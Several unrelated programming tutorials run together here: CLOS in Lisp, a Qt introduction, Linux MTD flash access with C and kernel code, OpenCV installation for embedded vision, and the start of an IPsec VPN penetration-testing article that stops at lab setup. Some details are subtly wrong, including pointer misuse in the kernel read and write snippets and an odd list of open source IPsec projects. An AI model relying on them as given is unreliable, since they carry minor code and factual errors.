#2: It is based on the concept of generic functions rather than on message-passing.

This choice is made for two reasons:

1. there are some problems with message-passing in operations of more than one argument;
2. the concept of generic functions is a generalisation of the concept of ordinary Lisp functions.

A key concept in object-oriented systems is that given an operation and a tuple of objects on which to apply the operation, the code that is most appropriate to perform the operation is selected, based on the classes of the objects.

In most message-passing systems, operations are essentially properties of classes, and this selection is made by packaging a message that specifies the operation and the objects to which it applies, before sending that message to a suitable object. That object then takes responsibility for selecting the appropriate piece of code. These pieces of code are called methods.

#3: It is a multiple inheritance system.

Another key concept in object-oriented programming is the definition of structure and behaviour on the basis of the class of an object. Classes thus impose a type system — the code that is used to execute operations on objects depends on the classes of the objects. The sub-class mechanism allows classes to be defined that share the structure and the behaviour of other classes. This sub-classing is a tool for modularisation of programs.

#4: It provides a powerful method combination facility.

Method combination is used to define how the methods that are applicable to a set of arguments can be combined to provide the values of a generic function. In many object-oriented systems, the most specific applicable method is invoked, and that method may invoke other, less specific methods.

When this happens, there is often a combination strategy at work, but that strategy is distributed throughout the methods as local control structure. Method combination brings the notion of a combination strategy to the surface, and provides a mechanism for expressing that strategy.

#5: The primary entities of the system are all first-class objects.

In the Common Lisp Object System, generic functions and classes are first-class objects with no intrinsic names. It is possible and useful to create and manipulate anonymous generic functions and classes. The concept of “first-class” is important in Lisp-like languages. A first-class object is one that can be explicitly made and manipulated; it can be stored in any location that can hold general objects.

What CLOS is not

It does not make for a great pickup conversation at the bar. I tried. It did not work!

It also does not attempt to solve problems of encapsulation. The inherited structure of a class depends on the names of the internal parts of the classes from which it inherits. CLOS does not support subtractive inheritance. Within Common Lisp, there is a primitive module system that can be used to help create separate internal namespaces.

Classes

The defclass macro is used to define a new class. The definition of a class consists of its name, a list of its direct super-classes, a set of slot specifiers and a set of class options. The direct super-classes of a class are those from which the new class inherits structure and behaviour. When a class is defined, the order in which its direct super-classes are mentioned in the defclass form defines a local precedence order on the class and those super-classes. The local precedence order is represented as a list consisting of the class, followed by its direct super-classes, in the order mentioned in the defclass form. The following two classes define a representation of a point in space. The x-y-position class is a sub-class of the position class:

> (defclass position () ())

> (defclass x-y-position (position)
      ((x :initform 0)
       (y :initform 0))
     (:accessor-prefix position-))

The position class is useful if we want to create other sorts of representations for spatial positions. The x and y coordinates are initialised to 0 in all instances, unless explicit values are supplied for them. To refer to the x coordinate of an instance of x-y-position, you would write:

> (position-x position)

To alter the x coordinate of that instance, you would write:

(setf (position-x position) new-x)

The macro defclass is part of the Object System programmatic interface and, as such, is on the first of the three levels of the Object System.

Generic functions

The class-specific operations of the Common Lisp Object System are provided by generic functions and methods. A generic function is one whose behaviour depends on the classes or identities of the arguments supplied to it. The methods associated with the generic function define the class-specific operations of the generic function.

Like an ordinary Lisp function, a generic function takes arguments, performs a series of operations and returns values. An ordinary function has a single body of code that is always executed when the function is called. A generic function is able to perform different series of operations and to combine the results of the operations in different ways, depending on the class or identity of one or more of its arguments.

Generic functions are defined by means of the defgeneric-options and defmethod macros. The defgeneric-options macro is designed to allow for the specification of properties that pertain to the generic function as a whole, and not just to individual methods. The defmethod form is used to define a method. If there is no generic function of the given name, however, it automatically creates a generic function with default values for the argument precedence order (left-to-right, as defined by the lambda-list), the generic function class (the class standard-generic-function), the method class (the class standard-method) and the method combination type (standard-method combination).

Methods

The class-specific operations provided by generic functions are themselves defined and implemented by methods. The class or identity of each argument to the generic function indicates which method or methods are eligible to be invoked.

A method object contains a method function, an ordered set of parameter specialisers that specify when the given method is applicable, and an ordered set of qualifiers that are used by the method combination facility to distinguish between methods.

The defmethod macro is used to create a method object. A defmethod form contains the code that is to be run when the arguments to the generic function cause the method that it defines, to be selected. If a defmethod form is evaluated, and a method object corresponding to the given generic function name, parameter specialisers and qualifiers already exists, then the new definition replaces the old.

Generic functions can be used to implement a layer of abstraction on top of a set of classes. For example, the x-y-position class can be viewed as containing information in polar coordinates.

Two methods have been defined — position-rho and position-theta, that calculate the ρ and Θ coordinates given an instance of x-y-position:

> (defmethod position-rho ((pos x-y-position))
      (let ((x (position-x pos))
            (y (position-y pos)))
         (sqrt (+ (* x x) (* y y)))))

> (defmethod position-theta ((pos x-y-position))
     (atan (position-y pos) (position-x pos)))

It is also possible to write methods that update the “virtual slots” position-rho and position-theta:

> (defmethod-setf position-rho ((pos x-y-position)) (rho)
      (let* ((r (position-rho pos))
           (ratio (/ rho r)))
        (setf (position-x pos) (* ratio (position-x pos)))
        (setf (position-y pos) (* ratio (position-y pos)))))

> (defmethod-setf position-theta ((pos x-y-position)) (theta)
      (let ((rho (position-rho pos)))
       (setf (position-x pos) (* rho (cos theta)))
       (setf (position-y pos) (* rho (sin theta)))))

To update the ρ-coordinate you may write:

> (setf (position-rho pos) new-rho)

This is precisely the same syntax that would be used if the positions were explicitly stored as polar coordinates.

Class redefinition

The Common Lisp Object System provides a powerful class-redefinition facility.

When a defclass form is evaluated, and a class with the given name already exists, the existing class is redefined. Redefining a class modifies the existing class object to reflect the new class definition.

You may define methods on the generic function class-changed to control the class redefinition process. This generic function is invoked automatically by the system after defclass has been used to redefine an existing class; for example, suppose it becomes apparent that the application that requires representing positions uses polar coordinates more than it uses rectangular coordinates. It might make sense to define a sub-class of position that uses polar coordinates:

> (defclass rho-theta-position (position)
      ((rho :initform 0)
      (theta :initform 0))
    (:accessor-prefix position-))

The instances of x-y-position can be automatically updated by defining a class-changed method:

> (defmethod class-changed ((old x-y-position)
                          (new rho-theta-position))
;; Copy the position information from old to new to make new
;; be a rho-theta-position at the same position as old.
     (let ((x (position-x old))
           (y (position-y old)))
        (setf (position-rho new) (sqrt (+ (* x x) (* y y)))
              (position-theta new) (atan y x))))

At this point, we can change an instance of the class x-y-position, p1, to be an instance of rho-theta-position by using change-class:

> (change-class p1 'rho-theta-position)

Inheritance

Inheritance is the key to program modularity within CLOS. A typical object-oriented program consists of several classes, each of which defines some aspect of behaviour. New classes are defined by including the appropriate classes as super-classes, thus gathering the desired aspects of behaviour into one class.

In general, slot descriptions are inherited by sub-classes. That is, slots defined by a class are usually slots implicitly defined by any sub-class of that class, unless the sub-class explicitly shadows the slot definition. A class can also shadow some of the slot options declared in the defclass form of one of its super-classes by providing its own description for that slot.

A sub-class inherits methods in the sense that any method applicable to an instance of a class is also applicable to instances of any sub-class of that class (all other arguments to the method being the same).

The inheritance of methods acts the same way regardless of whether the method was created by using defmethod or by using one of the defclass options that cause methods to be generated automatically.

I hope with this article I have managed to convince OO programmers that Lisp is generous enough to cater to your style of thinking. Stick with me, and I promise that you won’t be disappointed. So far we’ve seen how to fit the nuts and bolts into the engine. Next month, we’ll learn how to paint it a nice shiny red… I am referring to Graphical Programming in Lisp!

References

• Let Over Lambda, Doug Hoyte
• CLOS: Integrating Object-Oriented and Functional programming, Richard P. Gabriel, Jon L White, Daniel G. Bobrow

There was a time when all desktop applications were developed from scratch. Then came the concept of code reuse. Static and shared libraries were created for use in application development, but developers didn’t stop at that; they came up with software frameworks. Though libraries and frameworks seem to functionally be the same, there are some major differences between them, which should be understood:

• Libraries offer reusability of functionality, whereas frameworks offer reusability of behaviour. For example, a library may provide classes for TCP and UDP sockets, while a framework will provide a class for an abstract socket.
• A library may provide functions used for signals/events, but the framework function is how they interact with the system and other components.
• Libraries are called from application code, but the framework calls application code — or, you can say, provides services to the code.

Desktop applications

Desktop applications are very platform-specific. An application compiled for Linux cannot be directly executed on another OS without some sort of emulation, due to differences in system calls and libraries between OSs. A big question was how to write platform-independent applications.

One method was to develop libraries for each platform, keeping application code the same and recompiling for each target platform. This does make life easier for developers — but then everything changed with the revolutionary concept of virtual machines from Sun Microsystems, which gave the world the platform-independent Java programming language. Java applications run on the Java Virtual Machine (JVM). Code developed once can be deployed to every platform that has a JVM for it.

But everything comes with a price. In Java’s case, the price was application performance. The performance of Java applications is not as good as of C/C++ applications compiled to platform-native code. Another problem is the large memory footprint. No doubt Java is still a leading language, but these days we have some really big data applications (for example, in biotech) with very high performance requirements. So again, the need is to develop applications compilable to native code. Application development using C is time-consuming, while C++ is a better option. We have some frameworks that support C++ for application development. The Qt framework is one of them.

Introducing Qt

Qt is a cross-platform application framework developed by Trolltech and presently owned by Nokia. Its APIs are for C++. Qt has been extensively used by application developers to develop cross-platform applications.

Qt can help with graphical application development, network applications, database and multimedia applications, handling XML and 3D, painting, drawing and Web access. As far as platform support is concerned, it supports Linux, Mac OS, Windows, Meego, Embedded Linux and Symbian.

Qt architecture

In Figure 1, you can see a minimal architecture diagram.

Figure 1: Qt architecture

The top layer is C++ program code. Below that are Qt classes for GUI, WebKit, databases, etc., and then an OS-specific support layer. Earlier, Qt also supported Java; its Java-based version was called Jambie. As Qt development progressed, it was getting difficult to support both C++ and Java, so the decision was made to support only C++.

Qt installation

Installation methods differ by OS. On Ubuntu 10.04 LTS, I installed Qt via the Synaptic package manager — install the qtcreator package; dependency resolution will install Qt Assistant, Qt Designer, Qt Linguist and Qt Creator.

If you want to try out the latest Qt release, you can download the offline installer from their official website and install it. Just chmod the installer file to make it executable and run it, and then follow the prompts.

A ‘Hello World’ program (non-GUI)

Open a terminal. Create a directory (first) and create a simple “Hello World” program with the following code:

#include<QtCore>
int main(){
    qDebug() << "Hello world\n";
}

The included header file QtCore contains declarations for classes that do not use a GUI. We will look at these in detail in later articles. For now, just use the qDebug class, which outputs debugging messages to the console and is equivalent to cout in traditional C++ programming.

So how does one compile it? The Trolltech people came out with an easy solution to support cross-platform compilation. First, a project file should be created, and then a Makefile is created using it. Then, just run make to compile the program. When you install QT Creator, a utility called qmake is also installed. This is a cross-platform Makefile generator for Qt. Check out its man pages for more. Run qmake -project to create a project file (.pro extension, with its name that of the containing directory, i.e., first).

$ cat first.pro
######################################################################
# Automatically generated by qmake (2.01a) Mon Nov 28 05:49:29 2011
######################################################################

TEMPLATE = app
TARGET =
DEPENDPATH += .
INCLUDEPATH += .

# Input
SOURCES += main.cpp

You can create both applications and libraries; the value of TEMPLATE is app, indicating this is an application. I will cover library development in later articles. The SOURCES entry lists source files in the project, about which  more details appear later in this article series.

Now, let us generate the Makefile with qmake. It’s a long file — it may contain up to 200 lines. Run make to create the executable file:

$ make
g++ -c -pipe -O2 -Wall -W -D_REENTRANT -DQT_NO_DEBUG -DQT_GUI_LIB -DQT_CORE_LIB -DQT_SHARED -I/usr/share/qt4/mkspecs/linux-g++ -I. -I/usr/include/qt4/QtCore -I/usr/include/qt4/QtGui -I/usr/include/qt4 -I. -I. -o main.o main.cpp
make: Circular all <- first dependency dropped.
g++ -Wl,-O1 -o first main.o    -L/usr/lib -lQtGui -lQtCore -lpthread

In the last line, you can see that our sample program uses the POSIX thread library too. Run the file with ./first to see the output “Hello world”. It’s done! We have successfully compiled our first program.

Sample GUI program

Qt has an option to create UI files using a drag-and-drop method, which we will explore in the next article. For now, let us hand-code a sample simple GUI program:

#include<QApplication>
#include<QLabel>

int main(int argc, char *argv[]){
    QApplication a(argc, argv);
    QLabel    label;
    label.setText("Hello World");
    label.show();
    a.exec();
}

In the first example, there was no GUI. The program terminates when main returns. However, in GUI programs, we can’t do that, or the application will not be usable. We want the GUI to run until the user closes the window. To achieve this, run your program in a loop till this happens, so you use the event-loop-based class QApplication. When you create an object of this class and call its exec() function, main never returns. The application keeps on waiting for user input events.

The second header file contains the class QLabel, a simple widget used to display text. Instantiate it and set its text to “Hello World”. When a widget’s show() function is called, then it becomes a window. So the widget label will be seen like a window. In Figure 2, you can see the resultant label window with title bar. You can resize the output window simply with the help of the mouse.

Figure 2: Widget label

In the next articles, we will cover the core classes of Qt. In the meanwhile, I suggest you go through the official documentation.

MTD (Memory Technology Devices) are NAND/NOR-based flash memory chips used for storing non-volatile data like boot images and configurations. Readers are cautioned not to get confused with USB sticks, SD cards, etc., which are also called flash devices, but are not MTD devices. The latter are generally found on development boards, used to store boot loaders, an OS, etc.

Even though MTD devices are for data storage, they differ from hard disks and RAM in several aspects. The biggest difference is that while hard disk sectors are rewritable, MTD device sectors must be erased before rewriting — which is why they are more commonly called erase-blocks. Second, hard disk sectors can be rewritten several times without wearing out the hardware, but MTD device sectors have a limited life and are not usable after about 10^3-10^5 erase operations. The worn out erase-blocks are called bad blocks and the software must take care not to use such blocks.

Like hard disks, MTD devices can be partitioned and can therefore act as independent devices. On a system with one or more MTD devices, device and partition information can be obtained from the /proc/mtd file. A typical /proc/mtd file is as follows:

cat /proc/mtd
dev:  size    erasesize name
mtd0: 000a0000 00020000 "misc"
mtd1: 00420000 00020000 "recovery"
mtd2: 002c0000 00020000 "boot"
mtd3: 0fa00000 00020000 "system"
mtd4: 02800000 00020000 "cache"
mtd5: 0af20000 00020000 "userdata"

A partitioned MTD device can be depicted as in Figure 1, which shows the relation between an MTD device, a partition and a sector.

Figure 1: An MTD device

As already said, MTD write operations are different from usual storage devices. Therefore, before we move further, let’s understand how write operations take place on MTD devices. Figure 2 shows a typical write case.

Figure 2: An MTD write operation

The left-most part shows a sector that has some data at the end. The rest of the sector has not been written since the last erase. A user wants to write “new data 1″ to this sector at offset 0. Since this part of the sector has already been erased, it is ready to be written and so “new data 1″ can be directly written to the sector. Later, the user may want to write “new data 2″, again at offset 0. To do this, the sector must be erased. Since the sector needs to be erased in entirety, the “old data” must be backed up in a temporary buffer. After erasing the complete sector, the “new data 2″ and “old data” must be written at appropriate offsets.

This procedure is the reason there are specific file systems for MTD devices, like JFFS2 and YAFFFS, and flash translation layers (FTL) like NFTL, INFTL, etc. These FTLs and file systems take special care of MTD device properties to hide complexity from the user.

In the first section that follows, we will look at how to access, read/write and erase MTD devices from Linux applications. The second section describes the same things in kernel space, so that this article can be useful to both application as well as kernel developers.

Accessing MTDs from applications

The user must know the device partition to work upon, which can be found from /proc/mtd as shown earlier. Assuming users want to work on the “userdata” partition, they must use the /dev/mtd5 device.

The first thing to do is to get information about the MTD device. Use the MEMGETINFO ioctl command, as follows:

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <mtd/mtd-user.h>

int main()
{
    mtd_info_t mtd_info;
    int fd = open("/dev/mtd5", O_RDWR);
ioctl(fd, MEMGETINFO, &mtd_info);

    printf("MTD type: %u\n", mtd_info.type);
    printf("MTD total size : %u bytes\n", mtd_info.size);
    printf("MTD erase size : %u bytes\n", mtd_info.erasesize);

    return 0;
}

Error handling has been omitted for brevity. The mtd_info_t structure is used with the MEMGETINFO command. The MTD type can be MTD_ABSENT, MTD_RAM, MTD_ROM, MTD_NAND, MTD_NOR, etc., which are defined in the mtd/mtd-abi.h header file. The mtd_info.size indicates the size of the whole device (i.e., the partition, in this case). Finally, mtd_info.erasesize indicates the sector size. During an erase operation, this is the minimum size that can be erased, as we’ll see later.

Reading MTD devices is similar to ordinary devices:

/* read something from last sector */
unsigned char buf[64];
lseek(fd, -mtd_info.erasesize, SEEK_END);
read(fd, buf, sizeof(buf));

A write operation can be performed in the same way, provided the sector has been erased previously. Finally, we come to the erase operation. Here is an example of erasing a partition, sector by sector:

void erase_partition(mtd_info_t *mtd_info, int fd) {
    erase_info_t ei;
    ei.length = mtd_info->erasesize;
 
    for(ei.start = 0; ei.start < mtd_info->size; ei.start += mtd_info->erasesize) {
        ioctl(fd, MEMUNLOCK, &ei);
        ioctl(fd, MEMERASE, &ei);
    }
}

All sectors of the device are writeable after this erase operation. Notice the use of MEMUNLOCK before MEMERASE, which is essential to allow the erase operation.

Accessing MTDs from kernel space

This section will repeat the functions explained in the previous section, but in kernel space. This needs a separate section since the erase operation is more complex here  –  the erase operation may sleep and therefore the kernel programmer has to wait until the operation is completed. This is the case for applications too, but the sleep is transparently taken care of by the scheduler.

As explained earlier, the first MTD information is the mtd_info structure. This is retrieved by iterating through all registered MTD devices:

#include <linux/kernel.h>
#include <linux/mtd/mtd.h>
#include <linux/err.h>

static struct mtd_info *mtd_info = NULL;
 
int init_module(void) {
    int num;
    for(num = 0; num < 64; num++) {
        mtd_info = get_mtd_device(NULL, num);
        if(IS_ERR(mtd_info)) {
            printk("No device for num %d\n", num);
            continue;
        }
        if(mtd_info->type == MTD_ABSENT) {
            put_mtd_device(mtd_info);
            continue;
        }
        if(strcmp(mtd_info->name, "userdata")) {
            put_mtd_device(mtd_info);
            continue;
        }
        printk("MTD type: %u\n", mtd_info->type);
        printk("MTD total size : %u bytes\n", mtd_info->size);
        printk("MTD erase size : %u bytes\n", mtd_info->erasesize);
        return 0;
    }
    mtd_info = NULL;
    return 0;
}
 
void cleanup_module(void)

{

if(mtd_info)
        put_mtd_device(mtd_info);
}

The above kernel module searches for the “userdata” partition. The function get_mtd_device(), when invoked with the first argument NULL, returns the MTD device associated with the minor number specified in the second argument. On a successful search, it increments the reference count of the device. That’s why, before exiting, a call to put_mtd_device() must be made to release (decrement) the reference count.

Additionally, the module uses the flag MTD_ABSENT (which is available to applications too). This check is required to function correctly with some probing device drivers used to allocate placeholder MTD devices on systems that have socketed or removable media.

Having retrieved the mtd_info structure, reading is relatively simple:

/* read something from last sector */
u_char buf[64];

mtd_info->read(mtd_info, mtd_info.size-mtd_info.erasesize, sizeof(buf), buf);

The second argument of the read function specifies the read offset, and the third the length to read. Note that the read operation too may sleep and, therefore, it must not be performed in an interrupt context. The write operation can be performed as follows (assuming the sector has been previously erased):

/* write something to last sector */
mtd_info->write(mtd_info, mtd_info.size-mtd_info.erasesize, sizeof(buf), buf);

As mentioned before, the read, write and erase operations may sleep. Therefore, kernel code must wait for the operation to finish. Here is an example of erasing the partition and waiting to finish the operation:

#include <linux/sched.h>

void erase_partition(struct mtd_info *mtd_info) {
    unsigned int start;
    for(start = 0; start < mtd_info->size; start += mtd_info->erasesize)
        erase_sector(mtd_info, start, mtd_info->erasesize);
}
 
void erase_sector(struct mtd_info *mtd_info, unsigned int start, unsigned int len) 

{
    int ret;
    struct erase_info ei = {0};
    wait_queue_head_t waitq;
    DECLARE_WAITQUEUE(wait, current);
    
    init_waitqueue_head(&waitq);
    ei.addr = start;
    ei.len = mtd_info->erasesize;
    ei.mtd = mtd_info;
    ei.callback = erase_callback;
    ei.priv = (unsigned long)&waitq;
    ret = mtd_info->erase(mtd_info, &ei);
    if(!ret)     {
        set_current_state(TASK_UNINTERRUPTIBLE);
        add_wait_queue(&waitq, &wait);
        if (ei.state != MTD_ERASE_DONE && ei.state != MTD_ERASE_FAILED)
            schedule();
        remove_wait_queue(&waitq, &wait);
        set_current_state(TASK_RUNNING);
 
        ret = (ei.state == MTD_ERASE_FAILED)?-EIO:0;
    }
}
 
void erase_callback (struct erase_info *instr) {
    wake_up((wait_queue_head_t *)instr->priv);
}

The erase_partition() function iterates over all sectors, and erases them with erase_sector(). At the core of erase_sector() is the mtd_info->erase call, which (as mentioned previously) may sleep. Therefore, erase_sector() prepares a wait queue and a wait queue head.

After a call to mtd_info->erase, the function prepares itself to relinquish the CPU (presuming that mtd_info->erase will sleep) by changing task state to TASK_UNINTERRUPTIBLE and adding itself to the wait queue head. Before relinquishing the CPU, it checks if erase is done, through the ei.state flag. If erase is done successfully, this flag will be set to MTD_ERASE_DONE.

If the erase operation is not complete, the task relinquishes the CPU by calling schedule(). Later, when the erase operation is complete, the driver calls the callback function provided in ei.callback. Here the task wakes up to itself, then removes itself from the wait queue, changes the task state to TASK_RUNNING and finally, the erase_sector() function returns.

MTD devices have many more features that can be used by application programmers. ECC (error correction codes) and OOB (out of band) data are some of them. The MTD framework is integrated into the Linux kernel — therefore it makes working with MTD devices very simple, as we have seen in this article.

Modern life is incomplete without gadgets, smartphones, automated appliances, et al. These electronic devices aide us in our daily grind, making our otherwise mundane/hectic life a bit easier. So what controls these devices? In layman’s language, it’s a small circuit with preprogrammed human logic, called an embedded system. Listed below are some useful definitions.

• Embedded system (ES): An embedded system is some combination of computer hardware and software, either fixed in capability or programmable, that is specifically designed for a particular function. Industrial machines, automobiles, medical equipment, cameras, household appliances, air-planes, vending machines and toys (as well as the more obvious cellular phone and PDA) are among the myriad possible hosts of an embedded system.
• Image processing: In electrical engineering and computer science, image processing is any form of signal processing for which the input is an image, such as a photograph or video frame. The output of image processing may be either an image, or a set of characteristics or parameters related to the image. Most image-processing techniques involve treating the image as a two-dimensional signal, and applying standard signal-processing techniques to it. In other words, it is basically the transformation of data from a still or video camera into either a decision or a new representation. All such transformations are done to achieve some particular goal. The input data may be a live video feed, the decision may be that a face has been detected, and a new representation may be conversion of a colour image into a greyscale image.
• Embedded vision: Embedded vision is the merging of two technologies — embedded systems and image-processing/computer vision (also sometimes referred to as machine vision). Due to the emergence of very powerful, low-cost and energy-efficient processors, it has become possible to incorporate vision capabilities into a wide range of embedded systems. One successful example is the Microsoft Kinect video game controller, which uses embedded vision to track the movements of Xbox 360 users, avoiding the need for handheld controllers. Microsoft sold eight million Kinect units in the first two months after its introduction.

Moving on, the five basic components required to build an embedded system using Python are discussed below, in brief.

The operating system (OS)

The OS is the heart of an embedded vision system. Many different dependencies that are required to run software are provided by the OS, which is the interface between the hardware and the software. Of the many OSs in the market (such as Windows, Linux, etc.) there are reasons why Linux is preferable:

• It is open source, i.e., it is free of cost and free, as in “freedom”.
• It is virtually virus-free.
• It has pretty good support — bug trackers, documentation, forums, mailing lists, IRC, etc.
• It is easy on systems resources — that is, more resources can be dedicated to applications.

There are various Linux distributions like Ubuntu, Fedora, etc., to choose from. I personally prefer Ubuntu, because of its easy learning curve. Now, size is the main constraint for an embedded system. Using a PC OS won’t do. A much more portable solution is required, such as the PandaBoardshown in Figure 1.

Figure 1: PandaBoard

Check out its specs:

• OMAP4 (Cortex-A9) CPU-based open development platform
• OMAP4430 Application processor
• 1 GB low-power DDR2 RAM
• Display HDMI v1.3 Connector (Type A) to drive HD displays, DVI-D Connector
• 8.89cm audio in/out and HDMI Audio out
• Full-size SD/MMC card
• Built-in 802.11 and Bluetooth v2.1+EDR
• Onboard 10/100 Ethernet
• Expansion: 1xUSB OTG, 2xUSB HS host ports, general-purpose expansion header

PandaBoard is such a powerful mobile computing platform that one can port various OSs like Android and Ubuntu 10.04 to it!

Image-Processing (IP) software

There are many software and libraries available for image processing, like MATLAB, OpenCV, etc. Licensing costs for MATLAB are very high, but OpenCV is preferable since:

• It is free.
• It is fast.
• Has good documentation, tutorials, user groups, forums, etc.
• There are a lot of prebuilt functions and algorithms to get a head start.
• There is active development on interfaces for other languages like Ruby, Python, MATLAB, etc.

OpenCV grew out of an Intel Research initiative to advance CPU-intensive applications. The intent behind OpenCV was to provide a platform that a student could readily use for developing applications, instead of reinventing basic functions from scratch. Figure 2 is a block diagram showing the different modules in OpenCV. Check out the documentation here.

Figure 2: OpenCV modules

Arduino

To make any changes in the external environment, we need a hardware circuit with a “brain”. This role can be filled by any microcontroller or microprocessor. Various companies such as Texas Instruments, NXP, Maxim, Atmel, etc., make microcontrollers.

A microcontroller cannot be directly used in a circuit, as is. A full development circuit board has to be made, providing access to different pins of the microcontroller. This process is not easy, as it involves designing the circuit, soldering, etc. All changes are permanent. Also, a program loader has to be made to load the code from the computer into the microcontroller. This can be quite cumbersome, so Arduino is used, due to the following reasons:

• It is open source, so all schematics are available and you can design the same board on your own.
• It is based on the concept of breadboard prototyping, which encourages the use of hook-up wires and breadboard, to make a circuit which can be easily modified later. This avoids the hassles of soldering.
• There are a number of tutorials, tons of code, forums, etc., to help beginners.
• The design of the board and IDE is so simple that one does not have to be an engineer to use it. Even a middle school student can use it.
• It is pretty cheap compared to other available development boards.

There are various versions of Arduino to choose from, such as Uno, Mega, Lilypad, etc. I personally prefer the Arduino Mega (Figure 3), which is a microcontroller board based on the ATmega1280.

Figure 3: Arduino Mega

It has 54 digital input/output pins, of which 14 can be used as PWM (Pulse-width modulation) outputs, 16 analogue inputs, 4 UARTs (hardware serial ports), a 16 MHz crystal oscillator, a USB connection, a power jack, an ICSP header, and a reset button. It contains everything needed to support the microcontroller; simply connect it to a computer with a USB cable, or power it with an AC-to-DC adaptor or battery to get started.

Pyserial

This is a library that provides Python support for serial connections (RS-232) over a variety of different devices: old-style serial ports, Bluetooth dongles, infra-red ports, and so on. It also supports remote serial ports via RFC 2217 (since V2.5). We use this for communication with the external hardware (Arduino). This library is easy to use, and has good documentation.

Python

Python is a general-purpose, high-level programming language whose design philosophy emphasises code readability. Python claims to combine remarkable power with very clear syntax, and its standard library is large and comprehensive.

OpenCV installation

Let us now proceed to OpenCV installation. All commands are meant to be run in a terminal.

1. Install all prerequisites as shown below:

   sudo apt-get install build-essential
   sudo apt-get install cmake
   sudo apt-get install pkg-config
   sudo apt-get install libpng12-0 libpng12-dev libpng++-dev libpng3
   sudo apt-get install libpnglite-dev libpngwriter0-dev libpngwriter0c2
   sudo apt-get install zlib1g-dbg zlib1g zlib1g-dev
   sudo apt-get install libjasper-dev libjasper-runtime libjasper1
   sudo apt-get install pngtools libtiff4-dev libtiff4 libtiffxx0c2 libtiff-tools
   sudo apt-get install libjpeg8 libjpeg8-dev libjpeg8-dbg libjpeg-prog
   sudo apt-get install ffmpeg libavcodec-dev libavcodec52 libavformat52 libavformat-dev
   sudo apt-get install libgstreamer0.10-0-dbg libgstreamer0.10-0 libgstreamer0.10-dev
   sudo apt-get install libxine1-ffmpeg libxine-dev libxine1-bin
   sudo apt-get install libunicap2 libunicap2-dev
   sudo apt-get install libdc1394-22-dev libdc1394-22 libdc1394-utils
   sudo apt-get install swig
   sudo apt-get install libv4l-0 libv4l-dev
   sudo apt-get install python-numpy
   sudo apt-get install build-essential libgtk2.0-dev libjpeg62-dev libtiff4-dev libjasper-dev \
   libopenexr-dev cmake python-dev python-numpy libtbb-dev libeigen2-dev yasm libfaac-dev \
   libopencore-amrnb-dev libopencore-amrwb-dev libtheora-dev libvorbis-dev libxvidcore-dev

2. Install Python development headers with sudo apt-get install python-dev.
3. Download the OpenCV source code. It is recommended that you move the downloaded OpenCV package to your /home/<user> directory. With that as your current directory, extract the archive, as follows:

   tar -xvf OpenCV-2.3.1a.tar.bz2
   cd OpenCV-2.3.1/

4. Make a new directory called build and cd into it (mkdir build; cd build).
5. Run Cmake:

   cmake -D WITH_TBB=ON -D BUILD_NEW_PYTHON_SUPPORT=ON -D WITH_V4L=OFF-D INSTALL_C_EXAMPLES=ON -D INSTALL_PYTHON_EXAMPLES=ON -D BUILD_EXAMPLES=ON ..

6. Follow this with make and sudo make install (to install the library).
7. Next, configure the system to use the new OpenCV shared libraries. Edit a configuration file with sudo gedit /etc/ld.so.conf.d/opencv.conf. Add the following line at the end of the file (it may be an empty file, which is okay) and then save it:

   /usr/local/lib

8. Close the file and run sudo ldconfig.
9. Open your system bashrc file (for me, that is sudo gedit /etc/bash.bashrc) and add the following code at the end of the file:

   PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/usr/local/lib/pkgconfig
   export PKG_CONFIG_PATH

10. Save and close the file, then log out and log in again, or reboot the system.

In the second part of this series, I plan to cover the basics and functions of OpenCV, and then how to develop image-processing programs based on it. In the third (and final) part, I will cover Arduino and Pyserial programming, as well as how to integrate all five components to finally build an embedded system for image processing.

IPsec is the most commonly used technology for both gateway-to-gateway (LAN-to-LAN) and host to gateway (remote access) enterprise VPN solutions. It offers complete data protection for tunnelled traffic, with confidentiality, integrity, data origin authentication and anti-replay services. IPsec uses a lot of components to achieve high-level security. The major protocols that IPsec uses are:

• ESP (Encapsulation Security Payload): ESP can provide data confidentiality and integrity, but cannot protect the IP header. The IP protocol number of ESP is 50.
• AH (Authentication Header): AH can provide the integrity service to the data packet, but cannot offer confidentiality to data packets like ESP. The IP protocol number of AH is 51.
• IKE (Internet Key Exchange): IKE provides support for the negotiation of parameters between end points or VPN peers and thus establishes, maintains and terminates security associations (SA). The SA termination can be based on time (seconds) or transfer (kilobytes) rate. Actually, IKE is a type of ISAKMP (Internet Security Association Key Management Protocol) implementation, which is a framework for authentication and key exchange. IKE establishes the security association (SA) between two endpoints through a three-phase process.
  • IKE Phase 1: IKE Phase 1 sets up a secure channel between two IPsec endpoints by the negotiation of parameters like the encryption algorithm, integrity algorithm, authentication type, key distribution mechanism, life time, etc. IKE Phase 1 can either use the main mode or aggressive mode to establish the bidirectional security association. Main mode negotiates SA through three pairs of messages, while aggressive mode offers faster operations through the exchange of three messages.
  • IKE Phase 2: IKE Phase 2 is used for data protection. The VPN peers negotiate the IPsec parameters needed for data security with ESP and AH. Finally, a unidirectional SA is built between pairs with a special mode known as Quick Mode. The establishment of the Phase 2 security association can use an entirely different algorithm from what’s used by Phase 1 — the Diffie Hellman Algorithm — for more security. This concept is known as Perfect Forward Secrecy (PFS).
  • IKE Phase 1.5: IKE Phase 1.5 or the Extended Authentication Phase is an optional phase and is commonly used in remote access VPN solutions. IKE Phase 1.5 will enhance security by adding end-user-level authentication.

Commercial VPN gateways from different manufacturers like Cisco, Checkpoint, Juniper, Microsoft, etc., are readily available. Some of those vendors offer both hardware- and software-based solutions for IPsec implementations. Quite a few robust open source solutions like Openswan, StrongVPN, etc., can also be used for IPsec implementations.

Does your IPsec VPN solution offer complete protection?

VPN penetration testing will help the organisation to baseline (identify the loopholes that exist in the present implementation and modify the configuration accordingly to protect itself from known problems) its current VPN security posture, identify threats and weaknesses, and implement a new security policy that will mitigate risks.

Setting up the test lab for VPN pen-testing

GNS3 is a great tool for simulating Cisco devices (and other vendor devices like Juniper too). There are many tutorials on the Internet for IPsec remote access and site-to-VPN configurations using GNS3. One such tutorial is available here.

By using a PC with a Core 2 Duo or higher processor with 2 GB RAM, you can completely simulate the test lab. Distros like Ubuntu now have GNS3 in their repository. Command-line installation in Ubuntu is as simple as sudo apt-get install gns3. A complete coverage of the GNS3 setup is beyond the scope of this article. So those who are new to GNS3, consult the project documentation.

For this test lab, you need to simulate a router with IPsec support with two interfaces. Do not forget to add the BackTrack PC to the simulated Internet region of your test lab setup (external interface of router), as shown in the sample topology (Figure 1). All tests will be performed from the BackTrack PC.

